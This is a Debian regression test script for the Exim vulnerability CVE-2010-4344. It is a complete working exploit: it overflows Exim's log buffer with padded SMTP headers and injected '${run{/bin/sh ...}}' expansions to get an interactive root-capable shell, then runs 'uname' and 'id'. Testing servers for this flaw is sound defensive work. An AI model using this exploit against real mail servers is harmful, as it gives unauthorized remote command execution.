summaryrefslogtreecommitdiffstats
path: root/debian/tests/CVE-2010-4344.py
blob: 115832650ba1c3cf3d98c1b3f42cb8024f5202d6 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python
# Copyright 2010, Canonical, Ltd.
# Author: Kees Cook <kees@ubuntu.com>
# License: GPLv2

import socket, sys

HOST = sys.argv[1]
PORT = 25

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error, msg:
    sys.stderr.write("[ERROR] %s\n" % msg[1])
    sys.exit(1)

try:
    sock.settimeout(10)
    sock.connect((HOST, PORT))
except socket.error, msg:
    sys.stderr.write("[ERROR] %s\n" % msg[1])
    sys.exit(2)

def want(value, cmd=None):
    if cmd != None:
        sys.stdout.write("%s\n" % (cmd))
        sock.send("%s\n" % (cmd))
    data = sock.recv(1024)
    sys.stdout.write(data)
    final = data.splitlines().pop()
    if not final.startswith('%d ' % (value)):
        sys.stdout.write("*** Got '%s', wanted '%d' ***\n" % (final, value))
        sys.exit(5)
    return data

mail_from = '<root@localhost>'
rcpt_to   = '<postmaster@localhost>'
helo      = 'example.com'

want(220)
data = want(250, "EHLO %s" % (helo))
ident = data.splitlines()[0].split()
# Extract DNS details from helo response
sending_host = '%s (%s) %s' % (ident[2], helo, ident[3])

want(250, "MAIL FROM:%s" % (mail_from))
want(250, "RCPT TO:%s" % (rcpt_to))
want(354, "DATA")

# want to fill up to LOG_BUFFER_SIZE - 3 (%c %s) == 8192 - 3 == 8189
# and minus the logging header...
target = 8189
sent = len('''2010-12-10 11:48:15 1PR8wt-00063W-Sb rejected from %s H=%s: message too big: read=72108293 max=52428800
Envelope-from: %s
Envelope-to: %s
''' % (mail_from, sending_host, mail_from, rcpt_to))
send = target - sent
count = 0
padding = 3 # because of logging's "  " prefix and "\n" suffix
taunt = 'M4iLB0mb'
header = 'MAILbombhdr%04d: '
chunksize = len(header) + 120
amount = send
while amount > chunksize:
    prev = amount
    amount /= 2
chunksize = prev
chunksize = 100
#print "Chunk size: %d" % (chunksize)

#print "hit enter to continue"
#sys.stdin.readline()

while send > 0:
    count += 1
    #print "At position %d (%d to go)" % (sent, send)
    data = header % (count)
    perline = chunksize - padding
    data += taunt * chunksize

    # Down-regulate
    togo = send - padding
    if togo > perline:
        togo = perline
    # Fill hole for easier forward calculations
    left = sent % 100
    if left != 0:
        left = 100 - left
        if left < len(header) + (padding * 2):
            left += 100
        togo = left - padding
    data = data[0:togo]

    sock.send('%s\n' % (data))
    send -= len(data) + padding
    sent += len(data) + padding
    #print "(header %d) Wrote %d, consumed %d, at position %d (%d to go)" % (count, len(data), len(data) + padding, sent, send)

# This header will expand past the logging buffer
sys.stdout.write("Sending exploit header\n")
sock.send('HeaderX: ')
for j in range(50):
    for i in range(3, 13):
        sock.send("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}}" % i)
sock.send("\n");

# Now trigger the "message too large" handler
sys.stdout.write("Sending body to trigger reject\n")
sock.send("\n");
for i in range(700000):
    sock.send(taunt * 10 + "\n")
sock.send(".\n")

want(552)
sock.settimeout(1)
trigger = "MAIL FROM:%s\n" % (mail_from)
sys.stdout.write(trigger)
sock.send(trigger)

final = ""
shell = False
hit = False
while True:
    try:
        data = sock.recv(1024)
    except:
        break
    sys.stdout.write(data)
    sys.stdout.flush()
    final += data
    if '/bin/sh' in final:
        shell = True
    if shell and not hit:
        sock.send("uname -a\n")
        sock.send("id\n")
        hit = True

sock.close()
if shell:
    print "\nSystem is vulnerable"
    sys.exit(1)
print "\nSystem appears safe"
sys.exit(0)